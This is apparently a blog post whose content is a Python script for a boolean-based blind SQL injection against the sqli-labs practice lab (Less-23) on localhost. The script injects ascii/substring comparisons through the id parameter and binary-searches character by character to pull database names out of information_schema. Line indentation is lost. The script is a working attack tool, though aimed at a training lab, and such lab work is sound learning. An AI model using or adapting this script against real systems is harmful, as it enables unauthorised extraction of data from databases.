#!/usr/bin/env python
# encoding:utf8
import requests
import time
import sys
# config-start
sleep_time = 5
error_time = 1
# config-end
def getPayload(indexOfResult, indexOfChar, mid):
column_name="schema_name"
table_name="schemata"
database_name="information_schema"
startStr = "1' and ("
endStr = ") and ''='"
payload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")"
payload = startStr + payload + endStr
return payload
def exce(indexOfResult,indexOfChar,mid):
# content-start
url = "http://127.0.0.1/Less-23/?id="
tempurl = url + getPayload(indexOfResult,indexOfChar,mid)
content = requests.get(tempurl).text
# content-end
# judge-start
if "Your Login name:" in content:
return True
else:
return False
# judge-end
def doubleSearch(indexOfResult,indexOfChar,left_number, right_number):
while left_number < right_number:
mid = int((left_number + right_number) / 2)
if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
left_number = mid
else:
right_number = mid
if left_number == right_number - 1:
if exce(str(indexOfResult),str(indexOfChar + 1),str(mid)):
mid += 1
break
else:
break
return chr(mid)
def search():
for i in range(32): # 需要遍歷的查詢結(jié)果的數(shù)量
counter = 0
for j in range(32): # 結(jié)果的長(zhǎng)度
counter += 1
temp = doubleSearch(i, j, 0, 128) # 從255開(kāi)始查詢
if ord(temp) == 1: # 當(dāng)為1的時(shí)候說(shuō)明已經(jīng)查詢結(jié)束
break
sys.stdout.write(temp)
sys.stdout.flush()
if counter == 1: # 當(dāng)結(jié)果集的所有行都被遍歷后退出
break
sys.stdout.write("\r\n")
sys.stdout.flush()
search()
[sqli-labs]Less-23(Bool盲注)
最后編輯于 :
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
推薦閱讀更多精彩內(nèi)容
- 這個(gè)Payload基本通殺 : 這樣也可以明注 :
- 這道題發(fā)現(xiàn)頁(yè)面中會(huì)顯示出GET過(guò)去的參數(shù)不過(guò)好像沒(méi)有URL解碼...好奇怪 , 感覺(jué)好像是傳過(guò)去之后又被編碼了 ,...